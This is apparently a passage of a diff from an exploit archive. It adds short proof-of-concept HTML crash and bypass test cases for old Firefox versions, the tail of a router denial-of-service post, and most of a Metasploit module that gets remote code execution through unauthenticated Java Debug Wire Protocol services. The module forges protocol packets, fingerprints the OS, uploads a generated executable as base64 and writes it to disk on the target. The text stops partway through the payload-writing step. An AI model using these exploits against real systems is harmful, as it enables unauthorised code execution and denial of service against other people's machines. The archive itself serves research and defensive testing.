|
||||
</body>
|
||||
</html>
|
||||
|
||||
#5| Denial of Service
|
||||
-----------------------
|
||||
You can see my previous post about this vulnerability and the exploit.
|
||||
|
||||
https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
|
||||
http://www.osvdb.org/show/osvdb/108076
|
||||
http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html
|
||||
http://www.exploit-db.com/exploits/33737
|
||||
9
platforms/linux/dos/33801.txt
Executable file
9
platforms/linux/dos/33801.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/38944/info
|
||||
|
||||
Mozilla Firefox, Thunderbird and Seamonkey are prone to multiple remote memory-corruption vulnerabilities.
|
||||
|
||||
Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
||||
|
||||
NOTE: These issues were previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but have been assigned their own record to better document them.
|
||||
|
||||
<html> <head></head> <body style="font-family: monospace; width: 0;"> <div style="-moz-column-count: 4;"><div>a b c d<span style="display: list-item;"></span></div></div> </body> </html>
|
||||
13
platforms/linux/remote/33798.html
Executable file
13
platforms/linux/remote/33798.html
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/38927/info
|
||||
|
||||
Mozilla Firefox is prone to a security-bypass vulnerability.
|
||||
|
||||
Attackers can exploit this issue to bypass content-loading policies.
|
||||
|
||||
Attackers can exploit this issue to bypass content-loading policies. The impact of this issue will depend on the reasons behind the content check. Consequences may include cross-site request-forgery attacks, denial-of-service conditions, and possibly remote code execution.
|
||||
|
||||
Mozilla Firefox 3.6 is vulnerable.
|
||||
|
||||
NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it.
|
||||
|
||||
<img src="file:///dev/tty">
|
||||
11
platforms/multiple/dos/33800.html
Executable file
11
platforms/multiple/dos/33800.html
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/38943/info
|
||||
|
||||
Mozilla Firefox is prone to a remote memory-corruption vulnerability.
|
||||
|
||||
Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
||||
|
||||
Firefox 3.6 for Apple Mac OS X is vulnerable.
|
||||
|
||||
NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it.
|
||||
|
||||
<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test"></span></p> <p>U+FFF9: <span class="test"></span></p> <p>U+FFFA: <span class="test"></span></p> <p>U+FFFB: <span class="test"></span></p> </body> </html>
|
||||
960
platforms/multiple/remote/33789.rb
Executable file
960
platforms/multiple/remote/33789.rb
Executable file
|
|
@ -0,0 +1,960 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
HANDSHAKE = "JDWP-Handshake"
|
||||
|
||||
REQUEST_PACKET_TYPE = 0x00
|
||||
REPLY_PACKET_TYPE = 0x80
|
||||
|
||||
# Command signatures
|
||||
VERSION_SIG = [1, 1]
|
||||
CLASSESBYSIGNATURE_SIG = [1, 2]
|
||||
ALLCLASSES_SIG = [1, 3]
|
||||
ALLTHREADS_SIG = [1, 4]
|
||||
IDSIZES_SIG = [1, 7]
|
||||
CREATESTRING_SIG = [1, 11]
|
||||
SUSPENDVM_SIG = [1, 8]
|
||||
RESUMEVM_SIG = [1, 9]
|
||||
SIGNATURE_SIG = [2, 1]
|
||||
FIELDS_SIG = [2, 4]
|
||||
METHODS_SIG = [2, 5]
|
||||
GETVALUES_SIG = [2, 6]
|
||||
CLASSOBJECT_SIG = [2, 11]
|
||||
SETSTATICVALUES_SIG = [3, 2]
|
||||
INVOKESTATICMETHOD_SIG = [3, 3]
|
||||
CREATENEWINSTANCE_SIG = [3, 4]
|
||||
REFERENCETYPE_SIG = [9, 1]
|
||||
INVOKEMETHOD_SIG = [9, 6]
|
||||
STRINGVALUE_SIG = [10, 1]
|
||||
THREADNAME_SIG = [11, 1]
|
||||
THREADSUSPEND_SIG = [11, 2]
|
||||
THREADRESUME_SIG = [11, 3]
|
||||
THREADSTATUS_SIG = [11, 4]
|
||||
EVENTSET_SIG = [15, 1]
|
||||
EVENTCLEAR_SIG = [15, 2]
|
||||
EVENTCLEARALL_SIG = [15, 3]
|
||||
|
||||
# Other codes
|
||||
MODKIND_COUNT = 1
|
||||
MODKIND_THREADONLY = 2
|
||||
MODKIND_CLASSMATCH = 5
|
||||
MODKIND_LOCATIONONLY = 7
|
||||
MODKIND_STEP = 10
|
||||
EVENT_BREAKPOINT = 2
|
||||
EVENT_STEP = 1
|
||||
SUSPEND_EVENTTHREAD = 1
|
||||
SUSPEND_ALL = 2
|
||||
NOT_IMPLEMENTED = 99
|
||||
VM_DEAD = 112
|
||||
INVOKE_SINGLE_THREADED = 2
|
||||
TAG_OBJECT = 76
|
||||
TAG_STRING = 115
|
||||
TYPE_CLASS = 1
|
||||
TAG_ARRAY = 91
|
||||
TAG_VOID = 86
|
||||
TAG_THREAD = 116
|
||||
STEP_INTO = 0
|
||||
STEP_MIN = 0
|
||||
THREAD_SLEEPING_STATUS = 2
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses exposed Java Debug Wire Protocol services in order
|
||||
to execute arbitrary Java code remotely. It just abuses the protocol
|
||||
features, since no authentication is required if the service is enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
|
||||
'Christophe Alladoum', # JDWP Analysis and Exploit
|
||||
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '96066'],
|
||||
['EDB', '27179'],
|
||||
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
|
||||
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
|
||||
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
|
||||
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
|
||||
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Mar 12 2010'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
|
||||
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
res = handshake
|
||||
disconnect
|
||||
|
||||
if res.nil?
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res == HANDSHAKE
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def default_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
# Establishes handshake with the server
|
||||
def handshake
|
||||
sock.put(HANDSHAKE)
|
||||
return sock.get(datastore['RESPONSE_TIMEOUT'])
|
||||
end
|
||||
|
||||
# Forges packet for JDWP protocol
|
||||
def create_packet(cmdsig, data="")
|
||||
flags = 0x00
|
||||
cmdset, cmd = cmdsig
|
||||
pktlen = data.length + 11
|
||||
buf = [pktlen, @my_id, flags, cmdset, cmd]
|
||||
pkt = buf.pack("NNCCC")
|
||||
pkt << data
|
||||
@my_id += 2
|
||||
pkt
|
||||
end
|
||||
|
||||
# Reads packet response for JDWP protocol
|
||||
def read_reply(timeout = default_timeout)
|
||||
response = sock.get(timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||
pktlen, id, flags, errcode = response.unpack('NNCn')
|
||||
response.slice!(0..10)
|
||||
if errcode != 0 && flags == REPLY_PACKET_TYPE
|
||||
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
|
||||
end
|
||||
response
|
||||
end
|
||||
|
||||
# Returns the characters contained in the string defined in target VM
|
||||
def solve_string(data)
|
||||
sock.put(create_packet(STRINGVALUE_SIG, data))
|
||||
response = read_reply
|
||||
return "" unless response
|
||||
return read_string(response)
|
||||
end
|
||||
|
||||
# Unpacks received string structure from the server response into a normal string
|
||||
def read_string(data)
|
||||
data_len = data.unpack('N')[0]
|
||||
data.slice!(0..3)
|
||||
return data.slice!(0,data_len)
|
||||
end
|
||||
|
||||
# Creates a new string object in the target VM and returns its id
|
||||
def create_string(data)
|
||||
buf = build_string(data)
|
||||
sock.put(create_packet(CREATESTRING_SIG, buf))
|
||||
buf = read_reply
|
||||
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
|
||||
end
|
||||
|
||||
# Packs normal string into string structure for target VM
|
||||
def build_string(data)
|
||||
ret = [data.length].pack('N')
|
||||
ret << data
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
# Pack Fixnum for JDWP protocol
|
||||
def format(fmt, value)
|
||||
if fmt == "L" || fmt == 8
|
||||
return [value].pack('Q>')
|
||||
elsif fmt == "I" || fmt == 4
|
||||
return [value].pack('N')
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unknown format")
|
||||
end
|
||||
|
||||
# Unpack Fixnum from JDWP protocol
|
||||
def unformat(fmt, value)
|
||||
if fmt == "L" || fmt == 8
|
||||
return value[0..7].unpack('Q>')[0]
|
||||
elsif fmt == "I" || fmt == 4
|
||||
return value[0..3].unpack('N')[0]
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unknown format")
|
||||
end
|
||||
|
||||
# Parses given data according to a set of formats
|
||||
def parse_entries(buf, formats, explicit=true)
|
||||
entries = []
|
||||
|
||||
if explicit
|
||||
nb_entries = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
else
|
||||
nb_entries = 1
|
||||
end
|
||||
|
||||
nb_entries.times do |var|
|
||||
|
||||
if var != 0 && var % 1000 == 0
|
||||
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
|
||||
end
|
||||
|
||||
data = {}
|
||||
|
||||
formats.each do |fmt,name|
|
||||
if fmt == "L" || fmt == 8
|
||||
data[name] = buf.unpack('Q>')[0]
|
||||
buf.slice!(0..7)
|
||||
elsif fmt == "I" || fmt == 4
|
||||
data[name] = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
elsif fmt == "S"
|
||||
data_len = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
data[name] = buf.slice!(0,data_len)
|
||||
elsif fmt == "C"
|
||||
data[name] = buf.unpack('C')[0]
|
||||
buf.slice!(0)
|
||||
elsif fmt == "Z"
|
||||
t = buf.unpack('C')[0]
|
||||
buf.slice!(0)
|
||||
if t == 115
|
||||
data[name] = solve_string(buf.slice!(0..7))
|
||||
elsif t == 73
|
||||
data[name], buf = buf.unpack('NN')
|
||||
end
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
|
||||
end
|
||||
|
||||
end
|
||||
entries.append(data)
|
||||
end
|
||||
|
||||
entries
|
||||
end
|
||||
|
||||
# Gets the sizes of variably-sized data types in the target VM
|
||||
def get_sizes
|
||||
formats = [
|
||||
["I", "fieldid_size"],
|
||||
["I", "methodid_size"],
|
||||
["I", "objectid_size"],
|
||||
["I", "referencetypeid_size"],
|
||||
["I", "frameid_size"]
|
||||
]
|
||||
sock.put(create_packet(IDSIZES_SIG))
|
||||
response = read_reply
|
||||
entries = parse_entries(response, formats, false)
|
||||
entries.each { |e| @vars.merge!(e) }
|
||||
end
|
||||
|
||||
# Gets the JDWP version implemented by the target VM
|
||||
def get_version
|
||||
formats = [
|
||||
["S", "descr"],
|
||||
["I", "jdwp_major"],
|
||||
["I", "jdwp_minor"],
|
||||
["S", "vm_version"],
|
||||
["S", "vm_name"]
|
||||
]
|
||||
sock.put(create_packet(VERSION_SIG))
|
||||
response = read_reply
|
||||
entries = parse_entries(response, formats, false)
|
||||
entries.each { |e| @vars.merge!(e) }
|
||||
end
|
||||
|
||||
def version
|
||||
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
||||
end
|
||||
|
||||
def is_java_eight
|
||||
version.downcase =~ /1[.]8[.]/
|
||||
end
|
||||
|
||||
# Returns reference for all threads currently running on target VM
|
||||
def get_all_threads
|
||||
sock.put(create_packet(ALLTHREADS_SIG))
|
||||
response = read_reply
|
||||
num_threads = response.unpack('N').first
|
||||
response.slice!(0..3)
|
||||
|
||||
size = @vars["objectid_size"]
|
||||
num_threads.times do
|
||||
t_id = unformat(size, response[0..size-1])
|
||||
@threads[t_id] = nil
|
||||
response.slice!(0..size-1)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns reference types for all classes currently loaded by the target VM
|
||||
def get_all_classes
|
||||
return unless @classes.empty?
|
||||
|
||||
formats = [
|
||||
["C", "reftype_tag"],
|
||||
[@vars["referencetypeid_size"], "reftype_id"],
|
||||
["S", "signature"],
|
||||
["I", "status"]
|
||||
]
|
||||
sock.put(create_packet(ALLCLASSES_SIG))
|
||||
response = read_reply
|
||||
@classes.append(parse_entries(response, formats))
|
||||
end
|
||||
|
||||
# Checks if specified class is currently loaded by the target VM and returns it
|
||||
def get_class_by_name(name)
|
||||
@classes.each do |entry_array|
|
||||
entry_array.each do |entry|
|
||||
if entry["signature"].downcase == name.downcase
|
||||
return entry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
|
||||
# The list of methods will include constructors (identified with the name "<init>")
|
||||
def get_methods(reftype_id)
|
||||
if @methods.has_key?(reftype_id)
|
||||
return @methods[reftype_id]
|
||||
end
|
||||
|
||||
formats = [
|
||||
[@vars["methodid_size"], "method_id"],
|
||||
["S", "name"],
|
||||
["S", "signature"],
|
||||
["I", "mod_bits"]
|
||||
]
|
||||
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
||||
sock.put(create_packet(METHODS_SIG, ref_id))
|
||||
response = read_reply
|
||||
@methods[reftype_id] = parse_entries(response, formats)
|
||||
end
|
||||
|
||||
# Returns information for each field in a reference type (ie. object)
|
||||
def get_fields(reftype_id)
|
||||
formats = [
|
||||
[@vars["fieldid_size"], "field_id"],
|
||||
["S", "name"],
|
||||
["S", "signature"],
|
||||
["I", "mod_bits"]
|
||||
]
|
||||
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
||||
sock.put(create_packet(FIELDS_SIG, ref_id))
|
||||
response = read_reply
|
||||
fields = parse_entries(response, formats)
|
||||
|
||||
fields
|
||||
end
|
||||
|
||||
# Returns the value of one static field of the reference type. The field must be member of the reference type
|
||||
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
|
||||
# for example, the values of private fields can be obtained.
|
||||
def get_value(reftype_id, field_id)
|
||||
data = format(@vars["referencetypeid_size"],reftype_id)
|
||||
data << [1].pack('N')
|
||||
data << format(@vars["fieldid_size"],field_id)
|
||||
|
||||
sock.put(create_packet(GETVALUES_SIG, data))
|
||||
response = read_reply
|
||||
num_values = response.unpack('N')[0]
|
||||
|
||||
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
|
||||
fail_with(Failure::Unknown, "Bad response when getting value for field")
|
||||
end
|
||||
|
||||
response.slice!(0..4)
|
||||
|
||||
len = @vars["objectid_size"]
|
||||
value = unformat(len, response)
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
|
||||
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
|
||||
# the field's type exactly. For object values, there must exist a widening reference conversion from the
|
||||
# value's type to the field's type and the field's type must be loaded.
|
||||
def set_value(reftype_id, field_id, value)
|
||||
data = format(@vars["referencetypeid_size"],reftype_id)
|
||||
data << [1].pack('N')
|
||||
data << format(@vars["fieldid_size"],field_id)
|
||||
data << format(@vars["objectid_size"],value)
|
||||
|
||||
sock.put(create_packet(SETSTATICVALUES_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
|
||||
# Checks if specified method is currently loaded by the target VM and returns it
|
||||
def get_method_by_name(classname, name, signature = nil)
|
||||
@methods[classname].each do |entry|
|
||||
if signature.nil?
|
||||
return entry if entry["name"].downcase == name.downcase
|
||||
else
|
||||
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
|
||||
return entry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Checks if specified class and method are currently loaded by the target VM and returns them
|
||||
def get_class_and_method(looked_class, looked_method, signature = nil)
|
||||
target_class = get_class_by_name(looked_class)
|
||||
unless target_class
|
||||
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
|
||||
end
|
||||
|
||||
get_methods(target_class["reftype_id"])
|
||||
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
|
||||
unless target_method
|
||||
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
|
||||
end
|
||||
|
||||
return target_class, target_method
|
||||
end
|
||||
|
||||
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
|
||||
def str_to_fq_class(s)
|
||||
i = s.rindex(".")
|
||||
unless i
|
||||
fail_with(Failure::BadConfig, 'Bad defined break class')
|
||||
end
|
||||
|
||||
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
|
||||
|
||||
classname = 'L'
|
||||
classname << s[0..i-1].gsub(/[.]/, '/')
|
||||
classname << ';'
|
||||
|
||||
return classname, method
|
||||
end
|
||||
|
||||
# Gets the status of a given thread
|
||||
def thread_status(thread_id)
|
||||
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless buf
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
status, suspend_status = buf.unpack('NN')
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
# Resumes execution of the application or thread after the suspend command or an event has stopped it
|
||||
def resume_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(RESUMEVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless response
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Suspend execution of the application or thread
|
||||
def suspend_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(SUSPENDVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply
|
||||
unless response
|
||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
||||
def send_event(event_code, args)
|
||||
data = [event_code].pack('C')
|
||||
data << [SUSPEND_ALL].pack('C')
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |kind,option|
|
||||
data << [kind].pack('C')
|
||||
data << option
|
||||
end
|
||||
|
||||
sock.put(create_packet(EVENTSET_SIG, data))
|
||||
response = read_reply
|
||||
unless response
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
|
||||
end
|
||||
return response.unpack('N')[0]
|
||||
end
|
||||
|
||||
# Parses a received event and compares it with the expected
|
||||
def parse_event(buf, event_id, thread_id)
|
||||
len = @vars["objectid_size"]
|
||||
return false if buf.length < 10 + len - 1
|
||||
|
||||
r_id = buf[6..9].unpack('N')[0]
|
||||
t_id = unformat(len,buf[10..10+len-1])
|
||||
|
||||
return (event_id == r_id) && (thread_id == t_id)
|
||||
end
|
||||
|
||||
# Clear a defined event request
|
||||
def clear_event(event_code, r_id)
|
||||
data = [event_code].pack('C')
|
||||
data << [r_id].pack('N')
|
||||
sock.put(create_packet(EVENTCLEAR_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
# Invokes a static method. The method must be member of the class type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
|
||||
# methods can be invoked.
|
||||
def invoke_static(class_id, thread_id, meth_id, args = [])
|
||||
data = format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
|
||||
# can be invoked.
|
||||
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
|
||||
data = format(@vars["objectid_size"], obj_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(INVOKEMETHOD_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
# Creates a new object of specified class, invoking the specified constructor. The constructor
|
||||
# method ID must be a member of the class type.
|
||||
def create_instance(class_id, thread_id, meth_id, args = [])
|
||||
data = format(@vars["referencetypeid_size"], class_id)
|
||||
data << format(@vars["objectid_size"], thread_id)
|
||||
data << format(@vars["methodid_size"], meth_id)
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |arg|
|
||||
data << arg
|
||||
data << [0].pack('N')
|
||||
end
|
||||
|
||||
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
|
||||
buf = read_reply
|
||||
buf
|
||||
end
|
||||
|
||||
def temp_path
|
||||
return nil unless datastore['TMP_PATH']
|
||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
||||
end
|
||||
datastore['TMP_PATH']
|
||||
end
|
||||
|
||||
# Configures payload according to targeted architecture
|
||||
def setup_payload
|
||||
# 1. Setting up generic values.
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
pl_exe = generate_payload_exe
|
||||
|
||||
# 2. Setting up arch specific...
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
path = temp_path || '/tmp/'
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
if @os.downcase =~ /win/
|
||||
print_warning("#{peer} - #{@os} system detected but using Linux target...")
|
||||
end
|
||||
when 'win'
|
||||
path = temp_path || './'
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
unless @os.downcase =~ /win/
|
||||
print_warning("#{peer} - #{@os} system detected but using Windows target...")
|
||||
end
|
||||
end
|
||||
|
||||
return payload_exe, pl_exe
|
||||
end
|
||||
|
||||
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
|
||||
def fingerprint_os(thread_id)
|
||||
size = @vars["objectid_size"]
|
||||
|
||||
# 1. Creates a string on target VM with the property to be getted
|
||||
cmd_obj_ids = create_string("os.name")
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
|
||||
# 2. Gets property
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
|
||||
|
||||
str = unformat(size, buf[1..1+size-1])
|
||||
@os = solve_string(format(@vars["objectid_size"],str))
|
||||
end
|
||||
|
||||
# Creates a file on the server given a execution thread
|
||||
def create_file(thread_id, filename)
|
||||
cmd_obj_ids = create_string(filename)
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
size = @vars["objectid_size"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
|
||||
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
|
||||
file = unformat(size, buf[1..1+size-1])
|
||||
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
|
||||
|
||||
register_files_for_cleanup(filename)
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
# Stores the payload on a new string created in target VM
|
||||
def upload_payload(thread_id, pl_exe)
|
||||
size = @vars["objectid_size"]
|
||||
if is_java_eight
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
else
|
||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
|
||||
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
end
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
|
||||
decoder = unformat(size, buf[1..1+size-1])
|
||||
if decoder.nil? || decoder == 0
|
||||
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
|
||||
end
|
||||
|
||||
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
|
||||
if cmd_obj_ids.length == 0
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
||||
end
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
|
||||
if is_java_eight
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
|
||||
else
|
||||
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
|
||||
end
|
||||
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_ARRAY].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
|
||||
end
|
||||
|
||||
pl = unformat(size, buf[1..1+size-1])
|
||||
pl
|
||||
end
|
||||
|
||||
# Dumps the payload on a opened server file given a execution thread
|
||||
def dump_payload(thread_id, file, pl)
|
||||
size = @vars["objectid_size"]
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, pl)
|
||||
data_array = [data]
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
|
||||
